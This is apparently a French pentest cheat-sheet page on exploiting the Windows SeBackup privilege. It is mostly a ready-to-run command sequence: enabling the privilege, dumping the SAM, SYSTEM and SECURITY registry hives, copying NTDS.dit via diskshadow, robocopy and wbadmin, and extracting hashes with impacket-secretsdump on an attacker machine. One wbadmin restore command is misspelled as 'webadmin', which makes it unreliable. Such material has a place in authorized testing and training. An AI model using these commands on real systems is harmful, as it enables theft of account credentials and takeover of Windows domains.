Paks3c

Appearance

Le privilège SeBackup donne droit à l'utilisateur d'effectuer des sauvegardes. Le principe pour exploiter ce privilège est donc d'effectuer des sauvegardes du registre/de fichiers sensibles/etc afin d'obtenir les informations voulues.

Si le privilège est "disabled" ​

https://github.com/giuliano108/SeBackupPrivilege

powershell
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
powershell
Set-SeBackupPrivilege
Get-SeBackupPrivilege

Ce qui permettra d'activer le privilège.

Sauvegarde du registre ​

Une sauvegarde du registre va permettre de récupérer les hash présents dans la SAM.

cmd
reg save HKLM\SECURITY security.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save

Une fois rapatrié sur notre poste attaquant, il est possible d'extraire les différents hash:

bash
impacket-secretsdump -security security.save -system system.save -sam sam.save local

Sauvegarde du fichier NTDS.dit ​

Plusieurs méthodes sont possibles selon le contexte.

Diskshadow ​

Création d'un script "backup.txt" pour diskshadow:

cmd
set verbose on  
set metadata C:\Windows\Temp\meta.cab  
set context clientaccessible  
set context persistent  
begin backup  
add volume C: alias cdrive  
create  
expose %cdrive% E:  
end backup

Puis l'exécuter ​

cmd
diskshadow /s .\backup.txt

Robocopy ​

Ceci va créer une réplique de C:\ sur le lecteur E:\ => les fichiers de E:\ sont ensuite copiables. ​

cmd
robocopy /b E:\Windows\ntds . ntds.dit

Une fois rapatrié sur notre poste attaquant, il est possible d'extraire les différents hash ​

bash
impacket-secretsdump -system system.save -ntds ntds.dit local

Wbadmin ​

Wbadmin permet de créer un backup ​

cmd
wbadmin start backup -quiet -backuptarget:\\dc01\c$\temp -include:c:\windows\ntds

On récupère ensuite la version du backup ​

cmd
wbadmin get versions

Puis on la restore à un endroit accessible ​

cmd
webadmin start recovery -quiet -version:07/26/2021-03:16 -itemtype:file -item:c:\windows\ntds\ntds.dit -recoverytarget:c:\temp -notrestoreacl

Une fois rapatrié sur notre poste attaquant, il est possible d'extraire les différents hash ​

bash
impacket-secretsdump -system system.save -ntds ntds.dit local